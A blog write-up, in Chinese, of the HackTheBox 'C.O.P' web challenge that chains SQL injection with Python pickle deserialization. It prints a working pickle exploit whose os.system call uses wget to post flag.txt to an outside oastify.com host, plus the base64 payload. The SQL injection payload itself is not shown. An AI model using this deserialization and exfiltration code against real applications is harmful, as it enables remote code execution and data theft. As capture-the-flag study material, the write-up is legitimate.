HackTheBox C.O.P WriteUP
题目
The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!
思路
SQL注入
routes.py
中可以看到两条URI:
跟踪product_id
,可以看到此处并未对传入的参数进行任何过滤,存在SQL注入:
反序列化
网站使用了Jinja2 模板引擎,主页代码如下:
这里会循环读取商品列表,获取数据库中商品的信息。另外我们可以看到网站设置了template_filter(‘pickle’),所以这里会用pickle_loads(s)
处理检索来的product.data
所以我们需要构造一条python的序列化数据,传入pickle_loads(s)并执行,从而实现RCE。
解题
首先使用python构造一条序列化数据,这里照着题目给的源码写就可以了。
import pickle, base64
import os
class Exploit(object):
def __reduce__(self):
cmd = ("wget --post-file flag.txt mf5rw3jw4to5z0jk3gclnr8gs7yxmm.oastify.com")
return (os.system, (cmd,))
malicious_payload = pickle.dumps(Exploit())
print(base64.b64encode(malicious_payload).decode())
输出出来的Payload大概是这样的:
gASVXwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjER3Z2V0IC0tcG9zdC1maWxlIGZsYWcudHh0IG1mNXJ3M2p3NHRvNXowamszZ2NsbnI4Z3M3eXhtbS5vYXN0aWZ5LmNvbZSFlFKULg==
然后构造SQL注入Payload:
PWN!
后记
开始做题的时候钻了牛角尖,绞尽脑汁想怎么把序列化的数据写到数据库里。
其实只要让查询语句返回的内容是自己构造好的序列化数据就可以了。
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!